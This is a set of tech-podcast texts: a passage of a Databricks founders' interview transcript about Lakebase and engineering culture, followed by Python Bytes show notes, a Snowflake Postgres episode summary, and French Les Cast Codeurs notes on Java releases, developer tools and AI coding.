[00:34:18]: Yeah.Swyx [00:34:18]: I think LTAP is like Like, okay, we've got it, guys.Matei Zaharia [00:34:21]: This thing, yeah.Reynold Xin [00:34:21]: I was talking to somebody at Meta, and then he was asking me, “Hey, what's the catch? Why is it possible now?” And I think the reality is we took a lot of time to work on the Lakebase architecture. obviously a lot of it came from the Neon team, which is a separation of storage from compute. And it turned out it was just a tiny little step away going from that to this LTAP idea, which is, hey, we just. in the Neon architecture and in Lakebase architecture, we're writing data in oriented format to the open data lake, but in there we're writing in Postgres pages. Ali and I were spending a lot of time debating, hey, can we just change that to write in column-oriented format? And we're just debating, and one day, one of our engineers who's, like, super smart came in, he's like, “Hey, I just prototyped it. It works.”Swyx [00:35:07]: Wait, it's, prototype what?Reynold Xin [00:35:09]: Prototype, instead of storing the data in the data lake in the oriented formatSwyx [00:35:15]: ColumnReynold Xin [00:35:15]: like Postgres pagesSwyx [00:35:15]: YeahReynold Xin [00:35:16]: write them in Parquet.Swyx [00:35:17]: Yeah.Reynold Xin [00:35:18]: and he just made the observation that, hey, our storage fleet has a lot of extra idle CPUs And we could use those CPUs to do the transcoding from row to column, where row is good for OLTP, but column is good for analytics. so let's do that transcoding at that time. And as a matter of fact, once you transcode the data compresses better. So from those services writing to, for example, S3 or other data lake, like object stores, you can write them faster ‘cause now they are now smaller.Matei Zaharia [00:35:49]: Yeah.Reynold Xin [00:35:49]: So there's no overhead, it's no compromise in performanceMatei Zaharia [00:35:52]: Some CPU overhead.Swyx [00:35:54]: Yeah, because,Matei Zaharia [00:35:55]: YeahSwyx [00:35:55]: we had extra CPUs anyway.Matei Zaharia [00:35:56]: We had that fleet anyway, yeah.Swyx [00:35:57]: so the debate ended. it's one of the classics of, tech, issue of a lot of debate, but then somebody went ahead and just tried to prototype it and it worked.Matei Zaharia [00:36:06]: But, like, something this strategicSwyx [00:36:07]: That's rightMatei Zaharia [00:36:07]: and important to the company, I expect there to be, like, a kickoff thing, like a design doc. Nothing like that.Swyx [00:36:13]: Nothing like that.Swyx [00:36:14]: He just. We were debating in many meetingsMatei Zaharia [00:36:17]: Yeah.Swyx [00:36:17]: and then we're just debating whether it's possible or not from first principle.Matei Zaharia [00:36:20]: YeahSwyx [00:36:20]: and then, somebody just did it.Matei Zaharia [00:36:23]: Yeah, if you set yourself up so people do that'll be great. And that happened a bit with Omnigentt too. I think if I just had a doc on, like, we can make these together, everyone would, would think, “Oh, what about this? What about this?” But then you. if you try it out, it helps. And then if you have real users and they bash it and, like, it's still working, or in this case, if you have the workload, what the workload looks like, you can just test the same pattern then.Databricks' Culture of Fast PrototypingSwyx [00:36:47]: Yeah.Matei Zaharia [00:36:47]: Yeah.Swyx [00:36:47]: Tech aside, which is very cool, this is, like, the most important thing, the culture of innovation, and you don't have to ask my permission, you don't have like, do a whole form- formal process, just do it?Matei Zaharia [00:36:59]: Well, especially these days, I think withSwyx [00:37:01]: YeahMatei Zaharia [00:37:01]: AI, it's easier to buildSwyx [00:37:02]: But so, likeMatei Zaharia [00:37:03]: a prototypeSwyx [00:37:03]: I think you are very I made a lot of suite of, like, large companies and, like, I think that at scale, things slow down, and I'm sure you felt it already, but somehow you have this core of people that, like, are exempt. How? I think we hire and we work with really good people, and that's a very important part of it, and empowering them, but also spending a lot of time, maybe us in the trenches matter a lot also.Matei Zaharia [00:37:28]: Yeah, I think, I think first, people can adapt to being in the larger company, so that helps. And we wanna make sure they know that they can try stuff and settle debates and have a lot of examples of how it was done before, or launch a thing in beta or whatever. and then the other thing I do think as a company, like despite the size, we don't launch that many, like, products. We try to keep it pretty coherent. That's, that was the whole, like, theory of the company, was like instead of having, like, 20 Amazon services you need to set up, like a analytics and machine learning stack, you just have one, and it's, like, the same API, the same semantics across all of them, the same copy of the data. So that requires, like, unification. And then we added one more thing at a time. Like, we added storage with Delta Lake. We didn't used to do any storage. Then we added SQL, we added, machine learning platform stuff. So, but yeah, don't, don't do too many, but do those things well and, that also helps, it helps keep it manageable.Reynold Xin [00:38:33]: Yeah. The other thing we encourage a lot is instead of building, boil the ocean for everything, let's figure out how do we do it incrementally, how do we do it very quickly. Like, many of our productsMatei Zaharia [00:38:43]: YeahReynold Xin [00:38:43]: they're built in the span of weeks, and then we go to, hey. Like, usually my first question to whoever team is building is who's the target customer? Who are you working with? Are you on a first-name basis with them? Are you texting with them? I think having that very tight loop,Matei Zaharia [00:38:59]: Can you bring up another launch that comes to mind when, in this thing? I just want to give examples.Reynold Xin [00:39:04]: Omnigentt itself happened that way.Reynold Xin [00:39:05]: Yeah.Matei Zaharia [00:39:06]: Who's the customer? That's a good oneReynold Xin [00:39:34]: storage layer we did. we had, our largest customer at the time said like, “Okay, I need some. I want something in the cloud ‘cause, I. if the rest of our network is compromised, like this thing needs to be separate to store and query the events.” And then, talked to us, he said, “Okay, this is the rate of events per second. This is, like, the freshness I want. Can you do it?” So that was, like, way larger than any workload we had, and we had our, engineer, working on that, Michael Armbrust, and he worked just to make this work. And once it worked for them, it worked for everyone else. Yeah. This was early in the company, probably like four years in or something.Matei Zaharia [00:40:24]: 20- 2018?Swyx [00:40:26]: Yeah, ‘17, ‘18.Matei Zaharia [00:40:28]: Few companiesSwyx [00:40:28]: Do you have other examples?Matei Zaharia [00:40:30]: there'Swyx [00:40:31]: Maybe you have othersMatei Zaharia [00:40:31]: yeah, Clean Room, which is how you share data in a way without sharingSwyx [00:40:35]: YeahMatei Zaharia [00:40:35]: underlying data, but you allow specific operations. Those were done effectively initially just for two customers. I think the industry has a sense of, hey, maybe if you overfit to, like, one or two customers, it's gonna be really bad for you. But I think the, downside of overfitting is much smaller than the upside itself. And if you try to be too ambitious and boil the ocean, it's a much bigger problem.Swyx [00:40:58]: Yeah. Yeah.Matei Zaharia [00:40:58]: ‘Cause you might end up having no customer.Swyx [00:41:00]: Yeah, that's more, that's the more likely outcome.Matei Zaharia [00:41:02]: Yeah.Tech Companies vs. EnterprisesSwyx [00:41:03]: than you can pivot from there. I do think there is such a thing as a bad customer that sometimes you should fire. Yeah.Matei Zaharia [00:41:08]: They could exist sometimes if you drive. well, one of the challenge I think we probably see, and maybe many AI, so newer generation companies are seeing is, so tech companies are very different from tech companies or traditional enterprises.Swyx [00:41:22]: Yeah.Matei Zaharia [00:41:22]: And, if you optimize everything just for tech companies, you might have various challengesSwyx [00:41:27]: OhMatei Zaharia [00:41:27]: scaling them outside of tech companies.Swyx [00:41:28]: Okay, what likeMatei Zaharia [00:41:30]: YeahSwyx [00:41:30]: what like top three differences that you always think about?Reynold Xin [00:41:33]: Governance is a big oneMatei Zaharia [00:41:34]: I think, yeah, a big one is like, yeah, security, data privacy, governance, all that stuff. So usually if you're building some kinda like B2B or developer tool, like your biggest market is gonna be enterprises, but it's just very different. A company that's existed for like, it's had some form of IT for like 30 years, they have so many legacy systems or they operate in a regulated space. whereas a startup or, even like a, like sorta more recent tech company, all the. everything is new and pristine. So yeah, it's just different, and if you've never worked with enterprises or been in one, you just won't know about it.Reynold Xin [00:42:13]: Yeah.Matei Zaharia [00:42:13]: Yeah.Reynold Xin [00:42:13]: And the procurement process is probably quite different. There's far more stakeholders.Matei Zaharia [00:42:17]: Yeah, that is one. Yeah.Matei Zaharia [00:42:18]: Another piece that's interesting is I think some tech companies, people, will say, “Oh, I can build that myself,” right? I'll just build that myself.Matei Zaharia [00:42:27]: So then you go,Reynold Xin [00:42:28]: I don't think people say that about Databricks, butMatei Zaharia [00:42:31]: yeah, it dependsReynold Xin [00:42:32]: They do.Matei Zaharia [00:42:32]: They do?Matei Zaharia [00:42:32]: Yeah, the. Yeah, and it depends on the teams and things. So, but, on the other hand, like many of the enterprises say, “I don't, I never wanna be in the business of building that.” Like, I don't want my, whatever, I'm a retailer or something, I never wannaReynold Xin [00:42:45]: Yeah, sell clothes,Matei Zaharia [00:42:46]: be down because like some weird like nerd like couldn't get streaming pipelines working.Matei Zaharia [00:42:51]: That is not what I'm doing.Reynold Xin [00:42:53]: Yeah.Reynold Xin [00:42:53]: Yeah. This makes them great customers, to be honest, right?Matei Zaharia [00:42:55]: Yeah. But you have to understand that it's hard without having worked there and stuff, like you may not appreciate.Reynold Xin [00:43:01]: Look, I think they're all great. don't get me wrong, they have different challenges. But the, many of the tech companies, for sure there's a lot, far more DIY.Matei Zaharia [00:43:10]: On the flip side, you have people who are. they're very much experts in their domain, like they're building airplanes, they're, designing medicines, whatever, and they just want to bridge the technology, where like they don't wanna learn, databases or whatever. As cool as we think it is, even as interesting as the average software engineer might think it is to read a little bit, like they just never wanna know. They just say, “I have a, giant like, matrix or whatever with my, clinical data, like how do I, how do I like cluster it or whatever?” So yeah.The Dream Engine and Rewriting the Database StackReynold Xin [00:43:40]: Yeah. That's true. Okay, so and then I wanted to build out the dream engine, vision. where does this all lead? So one of the thing we, realized maybe a couple years back is that every single database engine out there, especially on the analytics side, are a decade old. pretty much everything that have reasonable traction are about a decade old. And they all started targeting some very specific narrow use cases, and then over time it's become more and more successful. They have grown in their ambition, and then they try to support more and more use cases. But the fastest way to support those use cases tend to be hacked around the abstractions that were initially created, that were not for those use cases.Matei Zaharia [00:44:23]: Yeah.Reynold Xin [00:44:23]: And then, but you can support them more or less okay. And before it, after 10 years of organic evolution that way, it becomes a gigantic pile of s**t.Reynold Xin [00:44:31]: the. And, but that includes Databricks. And very few company or very few systems, I think, have the gut to say, let's go start from scratch. Let's go back to the drawing board and design, knowing everything we know today after a decade of workloads and probably billions in revenue, let's attempt to rewrite it from scratch and make sure it will work and it can support all of these use cases. So we started doing that, but it's a very ambitious project. by the way, you can search on Wikipedia, there's this thing called second system syndrome.Matei Zaharia [00:45:08]: Yeah, I know that. Yes.Reynold Xin [00:45:09]: Or second system effect.Matei Zaharia [00:45:11]: Every developer must know what a second syndrome is.Reynold Xin [00:45:12]: It's you built your first thing and it works out great, and the second one's bound to fail because you become too ambitious.Reynold Xin [00:45:19]: And then you ask so many requirements.Matei Zaharia [00:45:20]: Or like you think everythingReynold Xin [00:45:21]: YeahMatei Zaharia [00:45:21]: and then you're likeReynold Xin [00:45:22]: You justMatei Zaharia [00:45:22]: you're, “I'm gonna design the perfect system this time.”Reynold Xin [00:45:24]: Yeah. And it turned out it's not perfect, and then it start failing and you're too ambitious, never launch, and you get killed. The, and the engineering team that started this, they were brilliant. I think we hired some of the best database engineers, on the planet into Databricks, and they were brilliant. Thank God it's not their second system. Many of them have built more than two in the past.Matei Zaharia [00:45:44]: Ah, nice.Reynold Xin [00:45:45]: But they were still worried about this, hey, building a database engine from scratch, I think the conventional wisdom is gonna take like five years to mature. This would be a very long-term project. It could fail. I think one of the engineers jokingly said, “Hey, maybe we just call it Reynolds Stream Engine.” If we name after a founder, maybe we then may get canceled or killed. But I think they built something pretty remarkable. they went back to. They changed the way the database engines were built from a paradigm point of view. Usually when y
Topics covered in this episode: Backup Docker volumes locally or to any S3 Pyodide 314.0 Release nb-cli: A Command-Line Interface for AI Agents and Notebook Automation Hindsight Agent Memory That Learns Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python AWS Community Day Midwest tomorrow Wednesday the 24th in downtown Indianapolis, Six Feet Up is sponsoring and there are 2 Sixies presenting Connect with the hosts Michael: Mastodon / BlueSky / X / LinkedIn Calvin: Mastodon / BlueSky / X / LinkedIn Show: Mastodon / BlueSky / X Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Tuesday at 7am PT. Older video versions available there too. Finally, if you want an bonus digest of every week of the show notes in email form? Add your name and email to our friends of the show list, we'll never share it. Michael #1: Backup Docker volumes locally or to any S3 Via Bryan Weber (thanks Bryan!), who spotted it over on Virtualization HowTo. Find Bryan at bryanwweber.com. offen/docker-volume-backup is a lightweight companion container that backs up the volumes your apps actually depend on, then ships them somewhere safe. It's tiny: written in Go and about 25MB compressed, roughly 1/20th the size of the shell-based image (jareware/docker-volume-backup) that inspired it. Drop it into your docker compose file as a backup service, mount the volumes you care about as read-only, and you're off. Push backups to a pile of destinations: a local directory, plus any S3, WebDAV, Azure Blob Storage, Dropbox, Google Drive, or SSH-compatible target. Mix and match as many as you want in one run. Recurring cron-style backups in a Compose setup, or one-off backups straight from the Docker CLI. Production-friendly touches worth calling out: Rotates away old backups so you don't quietly fill the disk. GPG encryption for your archives. Notifications on finished and failed runs (so you find out about failures before you need the backup). Stop a container during backup for a consistent snapshot using a simple docker-volume-backup.stop-during-backup=true label, then auto-restart it. Run custom commands during the backup lifecycle (great for a database dump before the file copy). Docker Swarm support, plus arm64 and arm/v7 builds. Hello, Raspberry Pi homelab. Fun aside from Bryan: he searched our back catalog for this tool and the search came back so fast he thought it hadn't run. Love to hear it. Calvin #2: Pyodide 314.0 Release PEP 783 is the real news — Pyodide maintainers used to hand-build 300+ packages. Now anyone can publish Pyodide wheels to PyPI with cibuildwheel. The version jump from 0.29 to 314.0 is intentional — it now tracks the Python version, so 314.x = Python 3.14. Binary compatibility is locked per Python cycle, meaning packages you build today won't break on the next Pyodide release. sqlite3, ssl, and lzma are back in the default stdlib — no more await pyodide.loadPackage("sqlite3"). Bigger download, but a much smoother experience for newcomers. bigint precision bug is fixed — values above 2^53 were silently losing precision when crossing the Python/JS boundary. The new JsBigInt type makes the roundtrip correct. Worth flagging if anyone is doing numeric work in a browser app. Experimental TCP sockets in Node.js — you can now connect Pyodide to a real database (MySQL, PostgreSQL, Redis tested) when running server-side. Blurs the line between "Python in the browser" and "Python runtime anywhere Wasm runs." Michael #3: nb-cli: A Command-Line Interface for AI Agents and Notebook Automation From Piyush Jain (Jupyter and LangChain maintainer) on the Jupyter blog: nb-cli: A Command-Line Interface for AI Agents and Notebook Automation. nb-cli is an experimental, Rust-based CLI to read, write, execute, and search Jupyter notebooks. The premise: agents are great at CLIs but terrible at hand-editing the nested JSON in an .ipynb, so let them operate on the notebook from the outside instead of running inside it. Works with or without a Jupyter server. No server? It reads/writes .ipynb files directly and talks to kernels over ZeroMQ. Connected to a live JupyterLab, your edits show up instantly via Y.js (the same CRDT Jupyter uses). Smart output format: instead of token-heavy JSON or ambiguous plain markdown, it uses @@cell / @@output sentinels with inline metadata. Less wasted context, unambiguous structure, and it degrades gracefully on truncation. The payoff is composability. "Add a summary section and run it" becomes one shell pipeline instead of six agent tool calls. And nb search notebook.ipynb --with-errors returns only the failing cells, so the agent skips the cells that worked. Claude Code tie-in: it ships as an agent skill. npx skills install jupyter-ai-contrib/nb-cli and your agent can drive notebooks via nb. Out of jupyter-ai-contrib, which aims to become an official Jupyter AI subproject. Still early (crates.io is at v0.0.5), so kick the tires before anything load-bearing. See also marimo-pair. Calvin #4: Hindsight Agent Memory That Learns AI agents forget everything between sessions — Hindsight gives them persistent memory that learns over time Simple three-method API: retain(), recall(), reflect() — store, retrieve, and reason over memories TEMPR retrieval runs semantic, keyword, graph, and temporal search in parallel for accurate results Automatically consolidates related facts into durable observations instead of piling up duplicates pip install hindsight-all runs the entire server in-process; integrates with LangChain, LlamaIndex, Pydantic AI, CrewAI, and more Extras Calvin: Clanker: A Word For The Machine **Ponytail — You know him. Long ponytail. Oval glasses. Has been at the company longer than the version control** **Klangk: Multi-User AI Sandboxing, Collaboration and Coding Platform** Cursor announces Origin performative-ui to quick start your new idea Michael: Astral Joins OpenAI: The Interview SpaceX to acquire Cursor And OpenAI renews Open Source support Portuguese subtitles are now available for Talk Python courses DSF is hiring including Six Feet Up support Joke: Oh Babe…
In this episode, David Rubinstein talks with Craig Kerstiens, Snowflake's Director of Software Engineering on Postgres, about the enduring popularity of Postgres, a 30-year-old database technology, due to its reliability and recent innovations like JSON support and vector store databases. He highlighted the challenge of integrating operational (OLTP) and analytical (OLAP) data for AI applications, noting the importance of reducing latency and operational burden. Kerstiens introduced PG Lake, an open-source tool that embeds Iceberg in Postgres, simplifying data movement and querying. He also mentioned Snowflake's mirroring feature and the future of Postgres, emphasizing its continuous improvement and extension ecosystem.
JDK 26 optimise la JVM dans ses moindres recoins, le SDK Java d'Agent2Agent passe en 1.0, Micronaut 5 est là. Côté terrain, un retour d'expérience après 40 jours à coder avec 100 % d'IA : génie ou junior, Alzheimer numérique et dette technique invisible. Pendant ce temps, GitLab restructure, Microsoft suspend ses licences Claude Code, et un développeur injecte un prompt destructeur dans sa lib JUnit. La révolution IA a un coût et les boites commencent à s'en rendre compte. Enregistré le 12 juin 2026 Téléchargement de l'épisode LesCastCodeurs-Episode-341.mp3 ou en vidéo sur YouTube. News Langages Les améliorations de performance dans le JDK 26 https://inside.java/2026/06/09/jdk-26-performance-improvements/ Côté bibliothèques, l'API LazyConstant (anciennement StableValue) fait son entrée en prévisualisation pour permettre une initialisation paresseuse, sécurisée pour les threads et optimisée par le mécanisme de constant-folding de la JVM. L'extraction de chaînes de caractères via MemorySegment::getString a été revue pour réduire considérablement les allocations intermédiaires et les copies en mémoire off-heap, accélérant fortement les traitements sur les chemins critiques (hot paths). La méthode générée automatiquement hashCode() pour les classes de type record a été optimisée par la JVM pour atteindre un niveau de performance équivalent à une implémentation écrite manuellement. Le ramasse-miettes G1 bénéficie du JEP 522 qui redessine sa table de cartes (card-table) afin de réduire les coûts de synchronisation des barrières d'écriture, offrant un gain de débit de 5 % à 15 % sur les applications manipulant énormément de références d'objets. Grâce au JEP 516 (Project Leyden), le cache d'objets Ahead-of-Time (AOT) adopte un format de flux agnostique, ce qui lui permet d'être compatible avec n'importe quel Garbage Collector, y compris le ramasse-miettes à très faible latence ZGC. Le démarrage de la JVM s'accélère par défaut lorsqu'aucune taille de tas n'est configurée, car HotSpot n'applique plus de pourcentage initial (InitialRAMPercentage) mais démarre directement avec la taille minimale (MinHeapSize) pour éviter d'allouer des métadonnées inutiles. Les threads virtuels gagnent en robustesse en étant désormais capables de céder la main (yield) pendant les phases d'initialisation des classes, éliminant ainsi le risque de famine des threads porteurs (carrier threads). Le compilateur C2 JIT améliore son modèle de coût pour la vectorisation des boucles (SIMD) et se montre maintenant capable de compiler et d'optimiser des méthodes dotées de listes de paramètres extrêmement longues. Librairies Release candidate du A2A Java SDK supportant versions 0.3 et 1.0 en même temps https://medium.com/google-cloud/a2a-java-sdk-1-0-0-cr1-released-f0c651ec9139 Dernière étape avant la GA : Toutes les fonctionnalités prévues pour la version 1.0 sont finalisées. Migration simplifiée depuis la Beta1. Compatibilité v0.3 : Ajout d'une couche de compatibilité permettant aux agents v1.0 de communiquer avec les systèmes v0.3 (via JSON-RPC, gRPC ou REST). Support natif pour Android (nouvel AndroidHttpClient). Uniformisation des clients HTTP pour garantir une cohérence entre les versions. Nouveau parseur SSE (Server-Sent Events) conforme aux spécifications. Ça y est, le SDK Java de l'Agent 2 Agent Protocol est sorti en version 1.0 finale ! (avec compatibilité v0.3 et v1.0) https://medium.com/google-cloud/a2a-java-sdk-1-0-0-final-released-10c05b6aee34 Lancement officiel : Sortie de A2A Java SDK 1.0.0.Final, la première version stable (GA) du protocole Agent2Agent. Objectif du protocole : Standard ouvert (Linux Foundation) permettant aux agents IA de communiquer, déléguer des tâches et collaborer, indépendamment du langage ou du framework. Interopérabilité : Introduction de l'Integration Test Kit (ITK) pour valider la compatibilité entre les SDK (Java, Python, TypeScript, etc.). Transports supportés : Support complet et équivalent pour JSON-RPC, gRPC et HTTP+JSON/REST. Alignement total avec la spécification A2A 1.0.0. Passage aux Java records pour l'immutabilité et moins de code répétitif. Architecture interne basée sur un MainEventBus pour garantir la persistance et éviter les conditions de concurrence. Intégration d'OpenTelemetry pour le suivi et la surveillance. Support d'Android et compatibilité descendante avec la version 0.3. Installation : Gestion des dépendances via Maven BOM (org.a2aproject.sdk). Sortie de Micronaut 5.0 https://micronaut.io/2026/05/20/micronaut-framework-5-0-0-released/ Lancement majeur : Disponibilité générale de Micronaut 5, incluant une refonte de plus de 70 modules et la plateforme BOM. Baselines techniques : Support de Java 25, Groovy 5, Kotlin 2.3 et GraalVM 25.0.3. Optimisations internes : Amélioration significative des performances au démarrage et réduction de la surcharge à l'exécution via une refonte du conteneur IoC et du traitement à la compilation. Architecture HTTP : Support stable de HTTP/3, nouvelle API de formulaires (multipart) et annotations de nullabilité (JSpecify) pour une meilleure interopérabilité Kotlin/IDE. Configuration : Nouveau système d'importation de configuration (remplaçant le Bootstrap Configuration) et validateur de schéma JSON intégré. Fiabilité : Nouvelles API programmatiques pour les politiques de retry et circuit breaker. Sécurité & Outils : Mise à jour majeure des dépendances (Jackson 3, Ktor 3), rafraîchissement du Panneau de contrôle et diagnostics AOT améliorés. Écosystème : Mises à jour complètes pour les bases de données (Data, SQL, R2DBC, MongoDB, Redis), le cloud (AWS, Azure, GCP, OCI) et les tests (JUnit 6, Testcontainers 2.0). Évolutions notables : Intégration HTMX dans Micronaut Views, retrait du support RxJava 2 et migration de divers processeurs d'annotations vers des modules dédiés. Comment rajouter un agent IA dans une app Android, avec le tout nouveau framework ADK pour Kotlin https://glaforge.dev/posts/2026/05/21/wiring-adk-kotlin-agents-in-an-android-application/ Guillaume a participé au développement et au lancement du nouveau runtime ADK pour Kotlin et Android https://developers.googleblog.com/adk-kotlin-android-building-ai-agents/ Tutoriel sur comment intégrer un agent ADK dans une app Dépendances : Ajout du noyau ADK (google-adk-kotlin-core) et du processeur KSP dans build.gradle.kts. Sécurité API : Utilisation de local.properties pour stocker la clé API Gemini et l'exposer via BuildConfig afin d'éviter le hardcoding. Définition de l'agent : Création d'un objet LlmAgent configuré avec le modèle Gemini, des instructions spécifiques et des outils (ex: GoogleSearchTool). Utilisation de InMemoryRunner pour gérer automatiquement le contexte et l'historique de la session. Implémentation de runAsync avec StreamingMode.SSE pour un retour en temps réel dans l'interface. Threading : Exécution des requêtes réseau sur Dispatchers.IO et mise à jour de l'état de l'interface utilisateur sur Dispatchers.Main. Comment développer et hoster des agents IA sur la plateforme d'agents managés de DeepMind https://glaforge.dev/posts/2026/05/21/managed-agents-with-the-gemini-interactions-java-sdk/ L'équipe DeepMind de Google a lancé une plateforme d'agents managés sur son API Gemini Interactions https://blog.google/innovation-and-ai/technology/developers-tools/managed-agents-gemini-api/ Guillaume a implémenté un SDK Java pour utiliser cette API Gemini Interactions, qui donne entre autre accès à tous les modèles mais aussi à cette plateforme managée d'agents IA Agents managés : Permet d'exécuter des agents autonomes qui raisonnent, planifient et exécutent du code dans des environnements isolés (sandboxes), sans gestion d'infrastructure par le développeur. Environnement distant : Utilise des espaces de travail Linux éphémères dans le cloud via le paramètre remote, permettant l'accès réseau et la persistance des fichiers sur plusieurs appels. Agents prédéfinis : Accès immédiat à des agents spécialisés comme deep-research-pro (recherche multi-étapes) ou antigravity (tâches de codage généralistes). Agents personnalisés : Possibilité de configurer ses propres agents avec des instructions système dédiées, des outils spécifiques (exécution de code, recherche Google) et des règles réseau (egress) personnalisées. Architecture basée sur les étapes (Steps) : Utilise une structure de données typée (Step, Content) pour suivre le raisonnement de l'agent, ses appels de fonctions et ses résultats en temps réel. Outils et Schémas : Inclut des utilitaires pour générer des schémas JSON complexes via une interface fluide (DSL), par réflexion Java ou par parsing JSON. Streaming réactif : Support natif des événements en temps réel (SSE) pour suivre la progression de l'agent et recevoir les deltas de contenu au fur et à mesure de la génération. Flexibilité : Fournit un gestionnaire de routage (InteractionsHandler) pour créer facilement des serveurs proxy ou des backends intermédiaires traitant les interactions Gemini. Spring Boot 4.1 https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-4.1-Release-Notes Support natif pour Spring gRPC permettant de créer et tester facilement des applications clientes et serveurs basées sur Netty ou des Servlets via HTTP/2 Introduction du lazy fetching pour les connexions JDBC via la propriété spring.datasource.connection-fetch=lazy afin de ne prendre une connexion du pool que lorsqu'un Statement est réellement exécuté Amélioration de l'auto-configuration de Jackson permettant de définir globalement les contraintes de lecture/écriture pour les formats JSON, XML et CBOR via des propriétés de configuration Sécurisation des clients HTTP bloquants et réactifs face aux attaques SSRF grâce à l'introduction d'un InetAddressFilter bloquant les requêtes sortantes vers des adresses spécifiques Améliorations majeures autour d'OpenTelemetry avec le support complet des variables d'environnement OTel, la possibilité de désactiver le SDK via une propriété globale et l'ajout du support SSL sur les exporters OTLP Ajout de l'auto-configuration pour l'utilisation de Spring Batch avec MongoDB incluant un nouveau starter dédié spring-boot-batch-data-mongo Auto-configuration des endpoints @RedisListener sans nécessiter la déclaration manuelle d'un RedisMessageListenerContainer Dépréciation du support de Apache Derby (projet arrêté), suppression définitive du mode layertools du JAR et réintroduction du support de Spock 2.4 (avec Groovy 5) Upgrade des dépendances majeures de l'écosystème avec notamment Spring Framework 7.0.8, Spring Security 7.1.0 et Micrometer 1.17.0 Outillage Vous êtes plutôt endive ou chicorée ? La librairie Chicory qui permet d'exécuter du code WASM à partir de son application Java est forkée et rejointe la Bytecode Alliance pour continuer son développement https://bytecodealliance.org/articles/endive-and-the-next-chapter-of-webassembly-on-the-jvm Annonce d'Endive : Nouveau projet hébergé par la Bytecode Alliance ; fork de Chicory (moteur WebAssembly pur Java, sans dépendance native). Objectif principal : Permettre aux développeurs Java d'intégrer, charger et déployer des modules Wasm nativement via les workflows Java habituels. Compilateur "Redline" : Intégration à venir de Redline (basé sur Cranelift) pour compiler le Wasm en code machine natif ; performances comparables à Rust/Wasmtime. Zéro dépendance (Java 25+) : Grâce à l'API standard Foreign Function & Memory (Project Panama), l'exécution à vitesse native se fait sans composants externes. Modèle de Composants (Component Model) : Support futur prévu pour consommer des composants (Rust, Go, JS, etc.) via des interfaces typées et sécurisées directement dans la JVM. Prochaines étapes : Fusion de Redline, conformité stricte aux specs Wasm (dont WasmGC) et amélioration du support WASI. Un visualisateur de sessions de travail avec Antigravity https://glaforge.dev/posts/2026/06/11/antigravity-brain-visualizer/ Un projet open source construit avec Micronaut, LangChain4j et GraalVM pour analyser les sessions de travail avec l'outil de développement agentique Antigravity (de Google) Analyse toutes les étapes, les requêtes utilisateur, les outils utilisés, les erreurs rencontrées, les réponses du modèle Gemini fait une analyse pour comprendre les moments clés de cette session de travail Outil buildé avec l'aide d'Antigravity lui-même SBX-Kits : des environnements de développement simplifiés pour les débutants (et les autres) https://k33g.org/20260501-sbx-kits.html Philippe Charrière (:whale: ) présente SBX-Kits (Sandbox Kits), une initiative personnelle visant à simplifier radicalement la mise en place d'environnements de développement pour les débutants, en éliminant la complexité d'installation des outils traditionnels. Chaque "kit" est une archive prête à l'emploi contenant un outil de développement spécifique (comme un langage, un framework ou une base de données) configuré pour s'exécuter de manière isolée et portable. La philosophie du projet repose sur le principe de "zéro configuration" et "zéro dépendance globale", permettant de tester une technologie ou de commencer à coder immédiatement sans polluer son système d'exploitation. L'approche technique s'appuie sur des scripts légers et des binaires portables pré-packagés, offrant une alternative plus simple et moins gourmande en ressources que les conteneurs Docker ou les configurations d'IDE complexes pour l'apprentissage. L'objectif à terme est de proposer un catalogue de kits couvrant les technologies courantes (JavaScript, Python, petites bases de données) pour faciliter les ateliers de programmation et le prototypage rapide. De nombreux kits sont disponibles sur https://github.com/docker/sbx-kits-contrib ghui: une interface utilisateur en ligne de commande (TUI) interactive pour GitHub https://github.com/kitlangton/ghui ghui est un outil en ligne de commande (TUI) écrit en Rust qui fournit une interface visuelle, interactive et rapide directement dans le terminal pour interagir avec GitHub. Il permet de gérer ses pull requests, ses issues et ses notifications sans avoir à ouvrir son navigateur web ou à taper de longues commandes avec la CLI officielle de GitHub. L'outil propose une navigation fluide au clavier, des raccourcis efficaces, et permet de réaliser des actions courantes comme valider une PR, ajouter des commentaires, attribuer des reviewers ou inspecter les logs des GitHub Actions. Conçu pour être extrêmement réactif, ghui s'intègre naturellement dans le flux de travail des développeurs adeptes du terminal et du mode "sans souris". Sortie de Homebrew 6.0.0 https://brew.sh/2026/06/11/homebrew-6.0.0/ Introduction du mécanisme de sécurité Tap Trust : comme les dépôts tiers (taps) peuvent exécuter du code Ruby arbitraire non sandboxé sur la machine, Homebrew demande désormais une confiance explicite de l'utilisateur avant d'évaluer ou d'exécuter leur code. L'API JSON interne devient le choix par défaut, offrant un système plus léger et beaucoup plus rapide pour les développeurs. Sécurisation renforcée de l'environnement avec l'implémentation du sandboxing sur Linux. Évolution des comportements par défaut basés sur un sondage utilisateur : le mode "ask" est activé par défaut pour les développeurs, affichant un résumé des dépendances et une demande de confirmation avant toute action de brew install ou brew upgrade. Améliorations notables des performances globales, notamment un boost de ~30 % sur la vitesse de la commande brew leaves et la parallélisation de la récupération des bottles (binaires) lors des mises à jour. Ajout du support initial pour la prochaine version d'Apple, macOS 27 (Golden Gate). Multiples optimisations pour brew bundle, incluant une gestion plus sécurisée des installations de paquets npm. Méthodologies Retour d'expérience très détaillé et 100% humain sur 40 jours avec une équipe 100% AI hormis le superviseur https://www.linkedin.com/pulse/jai-vir%C3%A9-mon-%C3%A9quipe-de-dev-pour-une-100-ia-pendant-40-luc-bonnin-jlgjf/ Voici le résumé en bullet points : Expérimentation de 40 jours : remplacer une équipe de dev par 100% IA agentique (Cursor) sur un vrai projet en production (playthatsheet.com, 200k lignes de code legacy) Chiffres bruts : 2,3 milliards de tokens consommés, 1 477 prompts, 260 564 lignes ajoutées (+145%), 59% du code final produit par l'IA ROI vertigineux à court terme : 9 mois de travail humain livrés en 40 jours, coût total 260$ d'abonnement + 15 jours de supervision, ROI x18 Profil psy de l'IA : Alzheimer (oublis de contexte), schizophrène (change de méthodo), ado de 12 ans (refait les mêmes erreurs), oscille entre génie et junior sans prévenir Effet iceberg : la dette technique ne disparaît pas, elle se camoufle et s'accélère ; hallucinations = bombes à retardement détectables uniquement par relecture humaine ligne par ligne Paradoxe du bateau de Thésée : perte de paternité et de maîtrise fine du code, baisse de l'autonomie du dev humain qui valide sans avoir construit Arnaque du "monkey money" : consommation de tokens opaque, non corrélée à la complexité (écart de 350% sur des prompts identiques), facturation imprévisible donc impossible à budgéter Syndrome du bazooka : les devs utilisent l'IA même 